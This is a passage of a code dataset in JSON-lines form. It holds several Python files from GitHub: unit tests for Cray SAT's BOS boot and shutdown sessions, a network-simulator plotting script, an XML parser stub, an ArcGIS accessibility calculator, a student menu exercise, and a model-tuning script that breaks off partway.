BOSSessionThread('cle-1.3.0', 'boot')\n        self.assertFalse(bos_thread.stopped())\n        bos_thread.stop()\n        self.assertTrue(bos_thread.stopped())\n\n    def test_mark_failed(self):\n        \"\"\"Test mark_failed method of BOSSessionThread.\"\"\"\n        session_template = 'uan'\n        bos_thread = BOSSessionThread(session_template, 'boot')\n        fail_msg = 'the bos session failed'\n        bos_thread.mark_failed(fail_msg)\n        self.assertTrue(bos_thread.failed)\n        self.assertTrue(bos_thread.complete)\n        self.assertEqual(fail_msg, bos_thread.fail_msg)\n\n    def test_record_stat_failure(self):\n        \"\"\"Test record_stat_failure method of BOSSessionThread.\"\"\"\n        bos_thread = BOSSessionThread('uan', 'shutdown')\n        with patch.object(bos_thread, 'mark_failed') as mock_mark_failed:\n            for _ in range(bos_thread.max_consec_fails):\n                bos_thread.record_stat_failure()\n                mock_mark_failed.assert_not_called()\n\n            bos_thread.record_stat_failure()\n            mock_mark_failed.assert_called_once_with(\n                'Aborting because session status query failed {} times in a '\n                'row.'.format(bos_thread.max_consec_fails + 1)\n            )\n\n    def test_create_session_bos_v1(self):\n        \"\"\"Test create_session method of BOSSessionThread.\"\"\"\n        # TODO(CRAYSAT-1612): write a unit test for create_session with BOS v2 as well.\n        self.mock_get_config_value.return_value = 'v1'\n        bos_thread = BOSSessionThread('cle-1.3.0', 'boot')\n        bos_thread.create_session()\n        self.assertEqual(self.mock_session_id, bos_thread.session_id)\n        self.assertEqual(self.mock_create_response['links'][0]['jobId'],\n                         bos_thread.boa_job_id)\n\n    @patch('sat.cli.bootsys.bos.boa_job_successful', return_value=True)\n    def test_bos_v1_run(self, _):\n        \"\"\"Test the run() method of BOSSessionThread using BOS v1.\"\"\"\n        self.mock_get_config_value.return_value = 'v1'\n        bos_thread = BOSSessionThread('cle-1.3.0', 'boot')\n        bos_thread.max_consec_fails = 0\n        self.mock_subprocess_run.side_effect = (\n            self.error_response,\n            self.finished_response\n        )\n        bos_thread.run()\n        self.assertTrue(bos_thread.complete)\n        self.assertFalse(bos_thread.failed)\n\n    @patch('sat.cli.bootsys.bos.boa_job_successful', return_value=True)\n    def test_bos_v1_run_new_k8s_cli(self, _):\n        \"\"\"Test the run() method of BOSSessionThread using BOS v1 with a newer k8s CLI.\"\"\"\n        self.mock_get_config_value.return_value = 'v1'\n        self.error_response.stderr = 'condition not met for jobs/my-job'\n        bos_thread = BOSSessionThread('cle-1.3.0', 'boot')\n        bos_thread.max_consec_fails = 0\n        self.mock_subprocess_run.side_effect = (\n            self.error_response,\n            self.finished_response\n        )\n        bos_thread.run()\n        self.assertTrue(bos_thread.complete)\n        self.assertFalse(bos_thread.failed)\n\n    @patch('sat.cli.bootsys.bos.boa_job_successful', return_value=True)\n    def test_bos_v1_run_kubectl_wait_error(self, _):\n        \"\"\"Test the run() method of BOSSessionThread when kubectl returns an error.\"\"\"\n        self.mock_get_config_value.return_value = 'v1'\n        self.error_response.stderr = 'command not found: kubectl'\n        bos_thread = BOSSessionThread('cle-1.3.0', 'boot')\n        bos_thread.max_consec_fails = 0\n        self.mock_subprocess_run.return_value = self.error_response\n        with self.assertLogs(level=logging.WARNING) as logs:\n            bos_thread.run()\n        self.assertRegex(\n            logs.records[0].message,\n            r'The \\'kubectl wait\\' command failed instead of timing out.'\n        )\n        self.assertTrue(bos_thread.complete)\n        self.assertTrue(bos_thread.failed)\n\n\nclass TestGetSessionTemplates(ExtendedTestCase):\n    \"\"\"Test the function which processes BOS template options and finds defaults.\"\"\"\n    def setUp(self):\n        \"\"\"Set up some mocks.\"\"\"\n        # The deprecated parameters have empty strings as their defaults, while\n        # bos_templates has an empty list as its default.\n        self.fake_config = {\n            'cle_bos_template': '',\n            'uan_bos_template': '',\n            'bos_templates': []\n        }\n        patch('sat.cli.bootsys.bos.get_config_value', side_effect=self.fake_get_config_value).start()\n        self.deprecated_warning = (\n            'The --bos-templates/bos_templates option was not specified. Please '\n            'use this option to specify session templates. Proceeding with session '\n            'templates: {}'\n        )\n\n    def tearDown(self):\n        \"\"\"Stop all patches.\"\"\"\n        patch.stopall()\n\n    def fake_get_config_value(self, query_string):\n        \"\"\"Mimic the behavior of get_config_value.\"\"\"\n        return self.fake_config[query_string.split('.')[-1]]\n\n    def test_get_session_templates_defaults(self):\n        \"\"\"With no options, a BOSFailure should occur as no templates were given.\"\"\"\n        with self.assertRaisesRegex(BOSFailure, 'No BOS templates were specified.'):\n            get_session_templates()\n\n    def test_get_session_templates_bos_templates_option(self):\n        \"\"\"With only bos_templates option given, the value specified by the bos_templates option is used.\"\"\"\n        self.fake_config['bos_templates'] = ['cos-2.0.1', 'uan-2.0.1']\n        expected = ['cos-2.0.1', 'uan-2.0.1']\n        with patch('sat.cli.bootsys.bos.LOGGER') as mock_logger:\n            actual = get_session_templates()\n        mock_logger.warning.assert_not_called()\n        self.assertCountEqual(expected, actual)\n\n    def test_get_session_templates_just_one_template(self):\n        \"\"\"With just one template given with bos_templates, use it.\"\"\"\n        self.fake_config['bos_templates'] = ['cos-2.0.1']\n        expected = ['cos-2.0.1']\n        with patch('sat.cli.bootsys.bos.LOGGER') as mock_logger:\n            actual = get_session_templates()\n        mock_logger.warning.assert_not_called()\n        self.assertCountEqual(expected, actual)\n\n    def test_get_session_templates_bos_templates_and_cle_option(self):\n        \"\"\"With bos_templates and cle_bos_template, prefer bos_templates.\"\"\"\n        self.fake_config['bos_templates'] = ['cos-2.0.1', 'uan-2.0.1']\n        self.fake_config['cle_bos_template'] = 'cos-9.9.9'\n        expected = ['cos-2.0.1', 'uan-2.0.1']\n        actual = get_session_templates()\n        self.assertCountEqual(expected, actual)\n\n    def test_get_session_templates_bos_templates_and_uan_option(self):\n        \"\"\"With bos_templates and uan_bos_template, prefer bos_templates.\"\"\"\n        self.fake_config['bos_templates'] = ['cos-2.0.1', 'uan-2.0.1']\n        self.fake_config['uan_bos_template'] = 'uan-9.9.9'\n        expected = ['cos-2.0.1', 'uan-2.0.1']\n        actual = get_session_templates()\n        self.assertCountEqual(expected, actual)\n\n    def test_get_session_templates_all_options_given(self):\n        \"\"\"With all options given, bos_templates is preferred.\"\"\"\n        self.fake_config['bos_templates'] = ['cos-2.0.1', 'uan-2.0.1']\n        self.fake_config['cle_bos_template'] = 'cos-9.9.9'\n        self.fake_config['uan_bos_template'] = 'uan-9.9.9'\n        expected = ['cos-2.0.1', 'uan-2.0.1']\n        actual = get_session_templates()\n        self.assertCountEqual(expected, actual)\n\n    def test_get_session_templates_deprecated_options(self):\n        \"\"\"With only deprecated options given, use their values and log a warning.\"\"\"\n        self.fake_config['cle_bos_template'] = 'cos-2.0.1'\n        self.fake_config['uan_bos_template'] = 'uan-2.0.1'\n        expected = ['cos-2.0.1', 'uan-2.0.1']\n        with self.assertLogs(level=logging.WARNING) as logs:\n            actual = get_session_templates()\n        self.assert_in_element(self.deprecated_warning.format(','.join(expected)), logs.output)\n        self.assertCountEqual(expected, actual)\n\n\nclass TestGetTemplatesNeedingOperation(ExtendedTestCase):\n    \"\"\"\n    Tests for the get_templates_needing_operation() function.\n    \"\"\"\n    def setUp(self) -> None:\n        \"\"\"Set up some mocks.\"\"\"\n        self.mock_bos_client: Mock = Mock()\n        patch('sat.cli.bootsys.bos.BOSClientCommon.get_bos_client',\n              return_value=self.mock_bos_client).start()\n        self.mock_hsm_client = patch('sat.cli.bootsys.bos.HSMClient').start().return_value\n        self.mock_hsm_components = [\n            {\n                'ID': 'x3000c0s0b0n1',\n                'Role': 'Application',\n                'SubRole': 'UAN',\n                'State': 'Ready',\n                'Type': 'Node'\n            },\n            {\n                'ID': 'x3000c0s1b0n1',\n                'Role': 'Application',\n                'SubRole': 'Other',\n                'State': 'Ready',\n                'Type': 'Node'\n            },\n            {\n                'ID': 'x3000c0s2b0n1',\n                'Role': 'Compute',\n                'State': 'Ready',\n                'Type': 'Node'\n            },\n            {\n                'ID': 'x3000c0s3b0n1',\n                'Role': 'Compute',\n                'State': 'Ready',\n                'Type': 'Node'\n            }\n        ]\n\n        self.mock_hsm_client.get.side_effect = self.fake_get_hsm_components\n        patch('sat.cli.bootsys.bos.SATSession').start()\n\n    def tearDown(self):\n        \"\"\"Stop all patches.\"\"\"\n        patch.stopall()\n\n    @staticmethod\n    def fake_get_nodes_by_state(states: list[str]) -> dict[Any, list[Any]]:\n        nodes_by_state: dict[Any, list[Any]] = dict()\n        for state in states:\n            nodes_by_state[state] = list(\"some data\")\n        return nodes_by_state\n\n    @staticmethod\n    def _match_param(param_value, component_value):\n        \"\"\"Helper for fake_get_hsm_components.\"\"\"\n        if isinstance(param_value, list):\n            return component_value in param_value\n        else:\n            return component_value == param_value\n\n    def fake_get_hsm_components(self, *_, params):\n        \"\"\"Fake the behavior of HSMClient.get('State', 'Components', params={...}).\"\"\"\n        # When SAT queries HSM, it uses lowercase query parameters, which HSM handles.\n        lowercase_to_uppercase_hsm_format = {\n            'role': 'Role',\n            'subrole': 'SubRole',\n            'id': 'ID',\n            'type': 'Type'\n        }\n        matching_components = [\n            component for component in self.mock_hsm_components\n            if all(\n                self._match_param(param_value, component.get(lowercase_to_uppercase_hsm_format[param_name]))\n                for param_name, param_value in params.items()\n            )\n        ]\n\n        resp = Mock()\n        resp.json.return_value = {'Components': matching_components}\n        return resp\n\n\nclass TestDoBosShutdowns(ExtendedTestCase):\n    \"\"\"Tests for the do_bos_shutdowns() function.\"\"\"\n    def setUp(self):\n        self.mock_prompt = patch('sat.cli.bootsys.bos.prompt_continue').start()\n        self.mock_do_bos_ops = patch('sat.cli.bootsys.bos.do_bos_operations').start()\n        self.mock_get_config = patch('sat.cli.bootsys.bos.get_config_value', return_value=60).start()\n\n        self.limit = None\n        self.args = Namespace(bos_limit=self.limit, recursive=False, staged_session=False)\n        self.args.disruptive = False\n\n    def tearDown(self):\n        patch.stopall()\n\n    def test_do_bos_shutdowns_prompt(self):\n        \"\"\"Test running BOS shutdown with prompting to continue.\"\"\"\n        do_bos_shutdowns(self.args)\n        self.mock_prompt.assert_called_once()\n        self.mock_do_bos_ops.assert_called_once_with(\n            'shutdown', 60, limit=self.limit, recursive=False, stage=False)\n\n    def test_do_bos_shutdowns_without_prompt(self):\n        \"\"\"Test running BOS shutdown without prompting.\"\"\"\n        self.args.disruptive = True\n        do_bos_shutdowns(self.args)\n\n        self.mock_prompt.assert_not_called()\n        self.mock_do_bos_ops.assert_called_once_with(\n            'shutdown', 60, limit=self.limit, recursive=False, stage=False)\n\n\nclass TestDoBosReboots(ExtendedTestCase):\n    \"\"\"Tests for the do_bos_reboots() function.\"\"\"\n\n    def setUp(self):\n        self.mock_prompt = patch('sat.cli.bootsys.bos.prompt_continue').start()\n        self.mock_do_bos_ops = patch(\n            'sat.cli.bootsys.bos.do_bos_operations').start()\n        self.mock_get_config = patch(\n            'sat.cli.bootsys.bos.get_config_value', side_effect=[60, 90]).start()\n\n        self.limit = None\n        self.args = Namespace(bos_limit=self.limit, recursive=False, staged_session=False)\n        self.args.disruptive = False\n\n    def tearDown(self):\n        patch.stopall()\n\n    def test_do_bos_reboots_prompt(self):\n        \"\"\"Test running BOS shutdown with prompting to continue.\"\"\"\n        do_bos_reboots(self.args)\n        self.mock_prompt.assert_called_once()\n        self.mock_do_bos_ops.assert_called_once_with(\n            'reboot', 150, limit=self.limit, recursive=False, stage=False)\n\n    def test_do_bos_reboots_without_prompt(self):\n        \"\"\"Test running BOS shutdown without prompting.\"\"\"\n        self.args.disruptive = True\n        do_bos_reboots(self.args)\n\n        self.mock_prompt.assert_not_called()\n        self.mock_do_bos_ops.assert_called_once_with(\n            'reboot', 150, limit=self.limit, recursive=False, stage=False)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"Cray-HPE/sat","sub_path":"tests/cli/bootsys/test_bos.py","file_name":"test_bos.py","file_ext":"py","file_size_in_byte":30238,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"70111966409","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom progress.bar import Bar\nfrom network_simulator.components import simulator\nfrom network_simulator.helpers import writeSimCache, readSimCache\n\ndef shareBudget(init_vars, aplist, usrlist):\n\n    plot_from_saved = 1\n    _sim_dict_axes = {\n        \"axes1\" : {\n            \"param\" : \"No Transmission Policy - Share Evenly\",\n            \"ENERGY_POLICY\" : 0,\n            \"SHARE_ENERGY\" : 1,\n        },\n        \"axes2\" : {\n            \"param\" : \"Cheapest Users - Share Evenly\",\n            \"ENERGY_POLICY\" : 2,\n            \"SHARE_ENERGY\" : 1,\n        },\n        \"axes3\" : {\n            \"param\" : \"No Transmission Policy - AP Energy Arrival\",\n            \"ENERGY_POLICY\" : 0,\n            \"SHARE_ENERGY\" : 2,\n        },\n        \"axes4\" : {\n            \"param\" : \"Cheapest Users - AP Energy Arrival\",\n            \"ENERGY_POLICY\" : 2,\n            \"SHARE_ENERGY\" : 2,\n        },\n        \"axes5\" : {\n            \"param\" : \"No Transmission Policy - AP Energy Use\",\n            \"ENERGY_POLICY\" : 0,\n            \"SHARE_ENERGY\" : 3,\n        },\n        \"axes6\" : {\n            \"param\" : \"Cheapest Users - AP Energy Use\",\n            \"ENERGY_POLICY\" : 2,\n            \"SHARE_ENERGY\" : 3,\n        },\n        \"axes7\" : {\n            \"param\" : \"No Transmission Policy - AP Efficiency\",\n            \"ENERGY_POLICY\" : 0,\n            \"SHARE_ENERGY\" : 4,\n        },\n        \"axes8\" : {\n            \"param\" : \"Cheapest Users - AP Efficiency\",\n            \"ENERGY_POLICY\" : 2,\n            \"SHARE_ENERGY\" : 4,\n        }\n    }\n\n    total_runs = np.arange(20)\n    sharebudget = np.arange(0, 1.01, 0.01)\n    if plot_from_saved == 0:\n        for axes in _sim_dict_axes.values():\n            \n            desc = \"Energy Share Budget \" + axes[\"param\"]\n\n            bar = Bar(desc, max=len(sharebudget))\n\n            avg_serviced = []\n\n            for param in [\"ENERGY_POLICY\", \"SHARE_ENERGY\"]:\n                init_vars[param] = axes[param]\n\n            for ratio in sharebudget:\n                init_vars[\"ENERGY_BUDGET\"] = ratio\n            \n                serviced_users = []\n\n                for run in total_runs:\n                    serviced_users.append(simulator(init_vars, aplist, usrlist))\n\n                avg_serviced.append(sum(serviced_users) / len(total_runs))\n\n                bar.next()\n\n            bar.finish()\n            print(\"\\nTotal Serviced Users \" + axes[\"param\"] + \"{}\".format(avg_serviced))\n            writeSimCache(\"ShareBudget\" + axes[\"param\"].replace(\" \",\"\"), avg_serviced)\n\n    plt.figure(1, dpi=600, figsize=[10, 8])\n    for axes in _sim_dict_axes.values():\n        # if axes[\"param\"] == \"Cheapest Users - Share Evenly\" or axes[\"param\"] == \"No Transmission Policy - Share Evenly\":\n        #     continue\n        avg_serviced = readSimCache(\"ShareBudget\" + axes[\"param\"].replace(\" \",\"\"))\n        plt.plot(sharebudget, avg_serviced, label=axes[\"param\"])\n\n    ax = plt.subplot(111)\n    box = ax.get_position()\n    ax.set_position([box.x0, box.y0 + box.height * 0.1,\n                     box.width, box.height * 0.9])\n\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5, -0.1), fancybox=True, shadow=True, ncol=3, prop={\"size\": 9})\n    plt.xlabel('Share Budget')\n    plt.ylabel('Total Number of Serviced Users')\n    plt.title('Impact of Energy Sharing Budget on Total Number of Serviced Users')\n    plt.grid()\n    plt.ylim(5000, 30000)\n\n    return plt\n","repo_name":"brokenax3/network-simulator-py","sub_path":"network_simulator/test/testShareBudget.py","file_name":"testShareBudget.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4614662720","text":"#!/usr/bin/env python\n# coding: utf-8\n\n##Imports \nfrom lxml import etree\nimport subprocess\n\n\nclass Lumberjack:\n    \"\"\"docstring for Lumberjack\"\"\"\n    def __init__(self, fname, interface=None, cols=None, unit=None, validation_file=None, repeats=None):\n        self.interface = interface #expects the interface object\n        self.filename = fname #expects a path\n        self.columns = cols #expects a list of names (str)\n        self.validation_file = validation_file #expects some DTD\n        self.repeats = repeats\n\n    def get_tree(self):\n            try:\n                self.tree = etree.iterparse(self.filename, tag=self.unit, recover=True, huge_tree=True)\n            except:\n                print(\"Error forming iterparse tree\")\n                pass\n\n    def write_stream(self):\n        \"\"\"Stream writer for a stream of XML inputs\"\"\"\n\n        ##To be able to handle repeated attributes, take in array from learner:\n        repeat_dict = self.repeats #Learner passes a dict of COLNAME, Bool(Repeat_Elements)\n\n        #How many passed before commit?\n        counter = 0 \n        #Commit variable:\n        n = 0\n\n        #If we have any repeated rows, create a serial uid and check for repeat cols\n        if any(repeat_dict.values())>0:\n            uuid = 0\n        \n            for event, element in self.tree:\n                query = {}\n                query['uuid'] = uuid\n                for child in element:\n                    if repeat_dict[child.tag]==1:\n                        #We write a separate table insert.\n                        query_extra = {\n                            'uuid': uuid\n                        }\n                        try:\n                            query_extra[child.tag] = child.text\n                        except:\n                            query_extra[child.tag] = ''\n                        x.db_inter.insert_row(table_name_+child.tag, query_extra) #fix table naming!!!\n                    else:\n                        #We go with the regular.\n                        try:\n                            query[child.tag] = child.text\n                        except:\n                            query[child.tag] = ''\n                        x.db_inter.insert_row(table_name, query)\n                element.clear()\n                uuid += 1\n                counter += 1\n                if counter == n:\n                    x.db_inter.commit()\n                    counter = 0\n        else:\n            #We proceed as normal - structured variety\n            for event, element in self.tree:\n                query = {}\n\n                for child in element:\n                    try:\n                        query[child.tag] = child.text\n                    except:\n                        query[child.tag] = ''\n                element.clear()\n                x.db_inter.insert_row(table_name, query)\n                counter += 1\n                if counter == n:\n                    x.db_inter.commit()\n                    counter = 0\n\n    def write_blocks(self):\n        \"\"\"Block writer for an XML tree - no dynamic sizing\"\"\"\n\n        ##Naive implementation without schema inference\n        #infer_schema()\n\n        ##If we have the columns specified\n        if x.columns:\n            manager = {x.columns[i]:[] for i in range(len(x.columns))}\n            for event, element in self.tree:\n                for desired in x.columns:\n                    try:\n                        manager[desired].append(element.find(desired).text)\n                    except:\n                        manager[desired].append('')\n                element.clear() \n                #test the pg insertion block size optimality here\n                #blocksize=1000\n                #if len(manager[desired])+1%blocksize==0:\n                #for now - default behavior is to accumulate whole file into dictionary    \n                pg_inter.writer_function()    \n                \n        ##Otherwise we take it all        \n        else:\n            # collector = {inferred_schema[i]:[] for i in range(len(inferred_schema))}\n            collector = {}\n            for event, element in self.tree:\n                for child in element:\n                    if child.tag in collector:\n                        try:\n                            collector[child.tag].append(child.text)\n                        except:\n                            collector[child.tag].append('')\n                    else:\n                        collector[child.tag] = []\n                element.clear()     \n                #test the pg insertion block size optimality here\n                #blocksize=1000\n                #if len(collector[child.tag])+1%blocksize==0:         \n                #for now - default behavior is to accumulate whole file into dictionary\n                pg_inter.writer_function()\n\n\n    ##TO-DO\n    #COPY TO DATABASE\n\n","repo_name":"VenkatSubramaniam/HDTV","sub_path":"parsers/xml_parser/lumberjack.py","file_name":"lumberjack.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35079458792","text":"# -*- coding: cp1252 -*-\n#!/usr/bin/python\n#Calculate accessibility value from Line-Layer in ArcGIS\n#Marcus März 2016 (new Version November 2021)\n#für Python 2.7.5\n#-------------------------------------------------------------------------------\n\nimport arcpy\nimport time\nimport h5py\nimport numpy as np\nimport pandas\nstart_time = time.time()\n\n#--GIS Parameters--#\nDatenbank = arcpy.GetParameterAsText(0)\nGroup = arcpy.GetParameterAsText(1)\nTable_results = arcpy.GetParameterAsText(2)\nRouten = arcpy.GetParameterAsText(3)\nCosts = arcpy.GetParameterAsText(4)\nLayer_E = arcpy.GetParameterAsText(5)\nID_E = arcpy.GetParameterAsText(6)\nLayer_S = arcpy.GetParameterAsText(7)\nID_S = arcpy.GetParameterAsText(8)\nPlaces = arcpy.GetParameterAsText(9)\nMax_costs = arcpy.GetParameterAsText(10)\nMeasures = arcpy.GetParameterAsText(11)\nsumfak = arcpy.GetParameterAsText(12)\npotfak = arcpy.GetParameterAsText(13)\nPlaces = Places.split(\";\")\nMeasures = Measures.split(\";\")\npotfak = potfak.replace(\",\",\";\")\npotfak = potfak.split(\";\")\nsumfak = sumfak.replace(\",\",\";\")\nsumfak = sumfak.split(\";\")\n\n\ndef df_org_desti():\n    #--IDs from Origins--#\n    df_E = pandas.DataFrame(arcpy.da.FeatureClassToNumPyArray(\"OD Cost Matrix\\Origins\",\"Name\"))\n    df_E[\"Name\"] = df_E[\"Name\"].astype(int)\n    df_E = df_E.rename(columns={\"Name\": ID_E})\n\n    #--IDs and weight of places--#\n    df_S = pandas.DataFrame(arcpy.da.FeatureClassToNumPyArray(\"OD Cost Matrix\\Destinations\",\"Name\"))\n    df_S[\"Name\"] = df_S[\"Name\"].astype(int)\n    df_S = df_S.rename(columns={\"Name\": ID_S})\n    if ID_S not in Places: df_Slayer = pandas.DataFrame(arcpy.da.FeatureClassToNumPyArray(Layer_S,Places+[ID_S])) ##for contour and gravity measure\n    else: df_Slayer = pandas.DataFrame(arcpy.da.FeatureClassToNumPyArray(Layer_S,Places))\n    df_Slayer[ID_S] = df_Slayer[ID_S].astype(int)\n    df_S = pandas.merge(df_S,df_Slayer)\n    return df_E, df_S\n\ndef HDF5():\n    f5 = h5py.File(Datenbank,'r+') ##HDF5-File\n    gr = f5[Group]\n    Ergebnis_array = []\n    data = np.array(Ergebnis_array,Spalten_ind)\n    if Table_results in gr.keys(): del gr[Table_results]\n    gr.create_dataset(Table_results, data=data, dtype=Spalten_ind, maxshape = (None,))\n    result_t = gr[Table_results]\n    f5.flush()\n    return f5, result_t\n\ndef indicators():\n    global Spalten_ind\n    Spalten_ind = [('ID','int32')]\n    Indi = 0 ##amount of different indicators\n    for i in Measures:\n        for e in Places:\n            if i==\"Contour\":\n                for f in sumfak:\n                    Spalten_ind.append(((e+\"CON\"+str(f)).encode('ascii'),'int32'))\n                    Indi = Indi+1\n            if i==\"Gravity\":\n                for f in potfak:\n                    f = f.split(\".\")[1]\n                    f+=\"0\"\n                    Spalten_ind.append(((e+\"EXP\"+str(f[:3])).encode('ascii'),'int32'))\n                    Indi = Indi+1\n            if i==\"Distance\":\n                Spalten_ind.append(((e+\"NEXT\").encode('ascii'),'int32'))\n                Spalten_ind.append(((e+\"_\"+Costs.replace(\"Total_\",\"\")).encode('ascii'),'<f8'))\n                Indi = Indi+1\n    Spalten_ind = np.dtype(Spalten_ind)\n    return Indi\n\ndef save_to_HDF5(RESULT,results_all):\n    RESULT =[tuple(RESULT)]\n    size = len(results_all)\n    results_all.resize((size+1,))\n    results_all[size:(size+1)] = RESULT\n    file5.flush()\n    return results_all\n\n\n###############\n#--beginning / preparing--#\n###############\narcpy.AddMessage(\"> starting\")\n\nIndi_n = indicators()\nfile5, results = HDF5()\ndf_E, df_S = df_org_desti()\n\n#--Loop for rows / routes--#\nOID_count = len(df_E)\narcpy.AddMessage(\"> \"+str(OID_count)+\" Origins\")\nLoops = (OID_count/100)+1 ##+1 for uneven numbers\n\nfor h in range(Loops):\n    arcpy.AddMessage(\"> places up to \"+str((h+1)*100)+\" from \"+str(OID_count))\n    df = pandas.DataFrame(arcpy.da.FeatureClassToNumPyArray(Routen,[\"Name\",Costs],\"OriginID >= \"+\\\n    str(h*100)+\" and OriginID < \"+str((h+1)*100)))\n    df[[\"Orig\", \"Place\"]] = df['Name'].str.split(' - ', 1, expand=True).astype(int)\n    del df[\"Name\"]\n    df = df[df[Costs]<=int(Max_costs)]\n\n    #--Join Origins / Places--#\n    df = pandas.merge(df,df_E,left_on=\"Orig\",right_on=ID_E)\n    df = pandas.merge(df,df_S,left_on=\"Place\",right_on=ID_S)\n    if ID_E == ID_S: df = df.rename(columns={ID_E+\"_x\": ID_E})\n\n    #--calculate indicator values--#\n    for origin in pandas.unique(df[ID_E]):\n        origin_RESULT = []\n        origin_RESULT.append(origin)\n        df_Routes = df[df[ID_E]==origin]\n        if len(df_Routes) == 0: ##no (fitting under max costs) route from this origin\n            for e in range(Indi_n): origin_RESULT.append(0)\n            results = save_to_HDF5(origin_RESULT, results)\n            continue\n\n        for i in Measures:\n            for s in Places:\n                if i==\"Contour\":\n                    for n in sumfak:\n                        Indi = df_Routes[df_Routes[Costs]<=int(n)]\n                        Value = Indi[s].sum()\n                        origin_RESULT.append(Value)\n\n                if i==\"Gravity\":\n                    for n in potfak:\n                        n = float(n)\n                        Value = round(sum(np.exp(df_Routes[Costs]*n) * df_Routes[s]))\n                        origin_RESULT.append(Value)\n\n                if i ==\"Distance\":\n                    Indi = df_Routes[df_Routes[s]>0]\n                    Indi = Indi.reset_index()\n                    Value = Indi.iloc[Indi[Costs].idxmin()]\n                    origin_RESULT = origin_RESULT + [Value[\"ID_y\"],Value[Costs]]\n\n        #--Data into HDF5 table--#\n        results = save_to_HDF5(origin_RESULT, results)\n\n###########\n#--End--#\n###########\ntext = \"Date: \"+str(time.localtime()[0:3])+\"; Origins: \"+Layer_E+\", Places: \"+Layer_S\nresults.attrs.create(\"Parameter\",str(text))\nfile5.flush()\nfile5.close()\narcpy.AddMessage(\"> finished after \"+str(int(time.time()-start_time))+\" seconds\")","repo_name":"mapeee/GIS_Tools","sub_path":"01Accessibility/OD_Accessibility.py","file_name":"OD_Accessibility.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27954913098","text":"#\r\n# SEC290.12780.B1.Online\r\n# Brad Voris\r\n# 9/25/2022\r\n# Week 4 Programming Assignmnet\r\n#\r\n\r\nwindow_attributes =\"\"\r\nmenu = \"\"\"\r\n\r\n     Window Administration Application\r\n\r\n     a: Exit application\r\n     b: Enter an attribute\r\n     c: Calculate and display the aspect ratio\r\n     d: Display the window attributes and values\r\n     \r\n\"\"\"\r\nprint(menu)\r\ninput()\r\ndone = False\r\nwhile not done:\r\n    print(menu)\r\n    selection = input(\"Please make a selection: \")\r\n    print()\r\n    if selection == \"a\":\r\n        done == True\r\n        break\r\n    elif selection == \"b\":\r\n        print(\"Enter an attribute: \")       \r\n        print()\r\n        input(\"Press Enter to return to the menu...\")\r\n    elif selection == \"c\":\r\n        print(\"Calculate and display the aspect ratio: \")\r\n        print()\r\n        input(\"Press Enter to return to the menu...\")\r\n    elif selection == \"d\":\r\n        print(\"Display the window attributes and values: \")\r\n        print()\r\n        input(\"Press Enter to return to the menu...\")\r\n    else:\r\n        print(\"Please select a, b, c, or d\")\r\n\r\n\r\nprint(\"Exiting the application...\")\r\ninput()\r\n","repo_name":"bvoris/sec290pythonclass","sub_path":"week4/hwk4.py","file_name":"hwk4.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14835183410","text":"import os\n\nimport pandas as pd\nfrom xgboost import XGBClassifier\n\nfrom sklearn.metrics import accuracy_score\n\nimport kerastuner as kt\n\nimport pickle\n\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import Callback, EarlyStopping, TensorBoard\n\n\n#1 Model XGBregressor\n\n#We are going to try out differnet n_estimators and learning\n#rates to find the best hyperparameters\ndef xgb_model(n_estimators=[], learning_rate=[], validation_data=(), training_data=(), testing_data=(), directory='', filename=''):\n    '''\n    Takes a list of estimators and learning rate\n    along with train/valid/test data.\n    \n    Runs the XGB regressor saves\n    the weights in .model format and\n    the performances in a csv file \n    and returns the performance\n    results back in a dataFrame\n    '''\n    mse = {}\n    i = 0\n    for estimator in n_estimators:\n        for rate in learning_rate:\n            #Inisiating the model\n            model = XGBClassifier(n_estimators=estimator, \n                                 learning_rate=rate)\n            \n            #Training the model\n            model.fit(training_data[0], training_data[1],\n                     early_stopping_rounds=50,\n                     eval_set = [(validation_data[0], validation_data[1])],\n                     verbose=False)\n            \n                        #saving the model\n            model.save_model('../src/models/xgb_weights/n_estimator{}_learning_rate{}.model'  \n                             .format(estimator, rate))\n            #Evaluating the model\n            prediction = model.predict(testing_data[0])\n            \n            #Calculating the error\n            accuracy = accuracy_score(prediction, testing_data[1].values)\n            mse[i] = [estimator, rate, accuracy]\n            i = i + 1\n    \n    #Converting the dict to a DataFrame\n    xgb_performance = pd.DataFrame(data=mse)\n    xgb_performance = xgb_performance.transpose()\n    xgb_performance.columns = ['n_estimator', 'learning_rate', 'accuracy']\n    xgb_performance.index.name = 'index'\n    \n    #Saving the performances in a CSV file\n    if os.path.exists(directory):\n        xgb_performance.to_csv('../src/models/{}/{}.csv'.format(directory,filename))\n    else:\n        os.makedirs(directory)\n        xgb_performance.to_csv('../src/models/{}/{}.csv'.format(directory,filename))\n    return xgb_performance\n\n#2nd model neural networks\ndef model_build(hp):\n    model = Sequential()\n    input_shape = (78,)\n    \n    #Activation function and neural units to choose from\n    hp_units_1 = hp.Int('units', min_value = 4,max_value = 78,step = 4, default=16)\n    hp_units_2 = hp.Int('units', min_value = 4,max_value = 78,step = 4, default=16)\n    hp_units_3 = hp.Int('units', min_value = 4,max_value = 78,step = 4, default=16)\n\n    \n    hp_choice_1 = hp.Choice('dense_activation',\n                          values=['relu','elu', 'sigmoid'],\n                            default='relu')\n    hp_choice_2 = hp.Choice('dense_activation',\n                          values=['relu','elu', 'sigmoid'],\n                            default='relu')\n    hp_choice_3 = hp.Choice('dense_activation',\n                          values=['relu','elu', 'sigmoid'],\n                            default='relu')\n    #For Dropout layer\n    hp_float_1 = hp.Float('dropout',\n                       min_value=0.0,\n                       max_value=0.5,\n                       default=0.15,\n                       step=0.01)\n    \n    